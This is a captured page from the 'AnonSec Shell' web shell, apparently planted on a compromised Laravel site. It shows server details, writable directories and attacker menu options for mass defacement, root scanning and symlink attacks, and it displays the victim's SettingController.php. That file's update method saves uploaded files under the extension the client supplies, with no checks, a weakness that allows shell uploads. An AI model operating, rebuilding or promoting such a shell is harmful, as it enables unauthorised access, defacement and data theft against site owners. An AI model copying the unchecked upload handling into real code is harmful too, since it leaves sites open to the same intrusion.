AnonSec Shell
Server IP : 104.21.26.206  /  Your IP : 216.73.216.227   [ Reverse IP ]
Web Server : Apache
System : Linux frog 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web13 ( 5017)
PHP Version : 8.3.31
Disable Function : NONE
Domains : 41 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/clients/client12/web13/web/ahelos/app/Http/Controllers/Backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/clients/client12/web13/web/ahelos/app/Http/Controllers/Backend//SettingController.php
<?php

namespace App\Http\Controllers\Backend;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\Setting;
use App\Models\SettingGroup;
use App\Models\SettingField;
use App\Models\Language;

class SettingController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $groups = SettingGroup::all();
        return view('layouts.backend.settings.index', compact('groups'));
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        //
    }

    /**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {

    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
      $groups = SettingGroup::all();
      $group_info  = SettingGroup::find($id);
      $fields = SettingField::with('settingsValues')->where('group_id', $id)->get();
      $settings = Setting::withWhereHas('attribute', fn($query) => $query->where('group_id', $id)->orderBy('sorting', 'asc'))->orderBy('language')->get();
      $languages = Language::where('status', 1)->orderBy('sorting', 'asc')->get();

      // dd($fields);
      return view('layouts.backend.settings.edit', compact('groups', 'group_info', 'fields', 'settings', 'languages'));
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {




        if (is_array($request->file('file'))) {
          foreach ($request->file('file') as $id => $files) {
            foreach ($files as $key => $file) {
              $name = $file->getClientOriginalName();
              $imageName = 'settings-ahelos-' . time() . '.' . $file->getClientOriginalExtension();
              $file->move(public_path('storage/settings'), $imageName);
              $data = array('value' => $imageName);
              Setting::find($id)->update($data);
            }
          }
        }



        $required_data = array();
        if (is_array($request->input('field'))) {
          foreach ($request->input('field') as $id => $fields) {
            foreach ($fields as $is_required => $value) {
              if ($is_required == 1) {
                $required_data['field.' . $id . '.' .$is_required] = 'required';
              }
            }
          }
          if (count($required_data) > 0) {
            $request->validate($required_data, ['required' => 'Задължително поле!']);
          }

          foreach ($request->input('field') as $id => $fields) {
            foreach ($fields as $key => $value) {
              $data = array(
                'value' => $value
              );

              Setting::find($id)->update($data);
            }
          }
        }







        return redirect()->back()->with('success', 'Настройките са обновени!');
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
        //
    }
}

Anon7 - 2022
AnonSec Team